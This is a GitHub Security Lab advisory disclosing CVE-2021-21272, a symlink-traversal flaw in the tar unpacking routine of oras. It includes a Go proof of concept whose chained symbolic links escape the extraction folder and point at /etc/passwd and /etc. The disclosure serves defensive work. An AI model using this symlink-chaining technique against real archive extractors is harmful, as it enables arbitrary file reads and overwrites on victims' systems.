skip to content
Back to
Home Bounties Research Advisories CodeQL Wall of Fame Get Involved Events
February 3, 2021

GHSL-2020-257: The unsafe handling of symbolic links in an unpacking routine in oras - CVE-2021-21272

GitHub Security Lab

Coordinated Disclosure Timeline


The unsafe handling of symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations outside the designated target folder.



Tested Version

Latest commit at the time of reporting (November 27, 2020).


The routine extractTarDirectory attempts to guard against creating symbolic links that point outside the directory a tar archive is extracted to. However, a malicious tarball first linking subdir/parent to .. (allowed, because subdir/.. falls within the archive root) and then linking subdir/parent/escapes to .. results in a symbolic link pointing to the tarball’s parent directory, contrary to the routine’s goals.

Proof of concept, using a version of extractTarDirectory tweaked to accept an array of tar headers instead of working from an actual tar archive:

package main

import (

func main() {
	var headers []tar.Header = make([]tar.Header, 4)

	headers[0].Name = "foo/subdir/"
	headers[0].Typeflag = tar.TypeDir

	headers[1].Name = "foo/subdir/parent"
	headers[1].Linkname = ".."
	headers[1].Typeflag = tar.TypeSymlink

	headers[2].Name = "foo/subdir/parent/passwd"
	headers[2].Linkname = "../../etc/passwd"
	headers[2].Typeflag = tar.TypeSymlink

  headers[3].Name = "foo/subdir/parent/etc"
	headers[3].Linkname = "../../etc"
	headers[3].Typeflag = tar.TypeSymlink

  err := extractTarDirectory("/tmp/extracthere", "foo", headers)


func extractTarDirectory(root string, prefix string, headers []tar.Header) error {
	for _, header := range headers {
		// Name check
		name := header.Name
		path, err := filepath.Rel(prefix, name)
		if err != nil {
			return err
		if strings.HasPrefix(path, "../") {
			return fmt.Errorf("%q does not have prefix %q", name, prefix)
		path = filepath.Join(root, path)

		// Create content
		switch header.Typeflag {
    case tar.TypeDir:
		 	err = os.MkdirAll(path, 0755)
		case tar.TypeSymlink:
			err = os.Symlink(header.Linkname, path)
			continue // Non-regular files are skipped
		if err != nil {
			return err

		// Change access time and modification time if possible (error ignored)
		os.Chtimes(path, header.AccessTime, header.ModTime)
  return nil


This issue may lead to arbitrary file write (with same permissions as the program running the unpack operation) if the attacker can control the archive file. Additionally, if the attacker has read access to the unpacked files, he may be able to read arbitrary system files the parent process has permissions to read.





This issue was discovered and reported by GitHub team member @smowton (Chris Smowton).


You can contact the GHSL team at, please include a reference to GHSL-2020-257 in any communication regarding this issue.